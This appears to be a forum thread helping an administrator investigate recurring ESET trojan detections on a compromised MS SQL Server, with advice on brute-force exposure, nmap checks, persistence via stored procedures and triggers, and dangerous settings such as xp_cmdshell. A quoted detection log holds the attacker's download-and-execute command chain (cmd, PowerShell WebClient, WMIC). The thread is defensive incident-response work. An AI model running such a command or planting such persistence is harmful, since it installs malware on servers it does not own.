The last detection occurrence is from yesterday, ie. the Procmon boot log cannot contain information related to the threat and its subsequent detection. PowerShell was not executed while the Procmon log was being generated.
3. 11. 2022 2:38:35 AMSI scanner file script PowerShell/TrojanDownloader.Agent.EDX trojan blocked NT SERVICE\MSSQLSERVER
Perhaps you could try to find a pattern based on the time of detection. Does any specific event / action happens at that time? E.g. the server is rebooted, a specific database was opened, etc.
The Eset log entry;
3. 11. 2022 2:38:35 AMSI scanner file script PowerShell/TrojanDownloader.Agent.EDX trojan blocked NT SERVICE\MSSQLSERVER
does show the source of this script execution. It is MSSQLSERVER; i.e. C:\Program Files\Microsoft SQL Server\MSSQL\Binn\sqlservr.exe. One possibility here is its service entry has been modified to run this PowerShell script. If this is the case, it should show where the script is located.
It could be a stored procedure in a MS SQL database that contains the threat which gets executed via the EXEC statement. Check the existing stored procedures for a suspicious code.
Looking at your detection logs from the ELC, I can see that originally you had a BAT/Runner.FJ trojan from Oct 29-31. Then starting on Nov 1st, it changed to a Powershell/TrojanDownloader. What is interesting is that the BAT/Runner.FJ detections show:
10/31/2022 11:15:29 AM Command line scanner file C:\Windows\System32\cmd.exe BAT/Runner.FJ trojan cleaned by deleting NT SERVICE\MSSQLSERVER Event occurred while attempting to run the following command: "C:\Windows\System32\cmd.exe" /C "echo $client = New-Object System.Net.WebClient > C:\Users\MSSQLS~1\AppData\Local\Temp\update.ps1 & echo $client.DownloadFile("<snippedURL>","C:\Users\MSSQLS~1\AppData\Local\Temp\OBKLH1X4.exe") >> 😄\Users\MSSQLS~1\AppData\Local\Temp\update.ps1 & powershell -ExecutionPolicy Bypass C:\Users\MSSQLS~1\AppData\Local\Temp\update.ps1 & WMIC process call create "C:\Users\MSSQLS~1\AppData\Local\Temp\OBKLH1X4.exe"" 3352E2206ED375E648C9EA7B5171AC2CA4FCAF88
As you can see form the bolded underlined parts, it indicates these actions are definitely being done by your MS SQL server. I suspect your SQL management ports are exposed to the internet and you have successfully been brute forced and had some SQL persistence installed. You can use the following NMAP scans to try and see if your SQL ports are exposed to the internet. Just ensure you perform the scans from a computer on a different public IP. Scanning from a computer on the same public IP can lead to an incorrect scan results:
nmap -Pn -sV -p 1433-1434 %PublicIP%
nmap -Pn -sV -F %PublicIP
There are many types of SQL Persistence, and if your MS SQL is hosting more than one database, each database will need to be checked. If you are having problems checking these, let us know and we can see about starting a DM to do some more specific SQL troubleshooting. You will be looking for the following types of MS SQL persistence:
Stored Procedures
At start of MS SQL service, a procedure will start and execute ever certain amount of seconds/minutes/hours
A stored procedure can be "encrypted" to hide its definition from being easily seen
More info on Stored Procedures here: https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
Triggers
DDL Triggers - Data Definition Language Triggers
Server based triggers which can be set to execute when specific queries like CREATE, ALTER, or DROP are used
These triggers can be "encrypted" to hide the definition from being easily seen
DML Triggers - Data Manipulation Language Triggers
Database based triggers which can be set to execute on specific queries like INSERT, UPDATE, or DELETE
Untested if these can be "encrypted" but it should be assumed that they can be encrypted as well
Logon Triggers
As their name implies, these are triggers which execute queries whenever a user logs in to MS SQL. And can theoretically, prevent a user from logging in.
Untested if these can be "encrypted" but it should be assumed that they can be encrypted as well
More info on Triggers here: https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
Other notes
In order to allow MS SQL to execute external applications, the use of advanced options is needed. You will want to check and disable these settings (Ensure you make not of what you changed, and monitor your SQL server for any issues afterwards. Your SQL server may have legitimately been using these settings)
"show advanced options" - Allows the following settings to be used
"xp_cmdshell" - Allows MS SQL to directly execute external applications like Ping.exe or any other executables on disk.
"Ole Automation Procedures" - Allows MS SQL to execute Windows Script Host and VBScript macros, which allows wscript.shell to execute other executables on the computer's disk, without the use of xp_cmdshell.
"clr enabled" - Allow you to store .net code inside of SQL which can be executed by a stored procedure. This is one of the more powerful ways of providing code execution to SQL. But these should easily be spotted when reviewing all stored procedures on a server.
I would say the most important point to address is the attacker appears to be gaining remote access after 8 - 10 logon attempts which is an unbelievably low number as far as brute force attacks go. Is the password being used a strong one and not one that can be easily guessed.
It should be noted that Eset's RDP brute force protection default is 10 logon attempts with a blacklist retention period of 10 mins. on my installation. However, Eset on-line help states that the default blacklist retention period is 30 mins.?
-EDIT- Reviewing the above event log screen shot, I see at least 14 logon attempts starting at 6:37 PM. If this was a RDP based attack, Eset RDP brute force logon protection should have kicked in after the 10th logon attempt.
However if the attacker could find an open inbound port on any network protection firewall component, he could perform a brute force logon attack using that port. Eset brute force protection would be N/A in this case.
This article is worth a review: https://bobcares.com/blog/account-lockout-threshold-sql-server/
BTW - are you using the default RDP port of 3389?
There was a recent issue on Eset consumer product versions when the port was changed to another value, Eset RDP brute force detection didn't work.
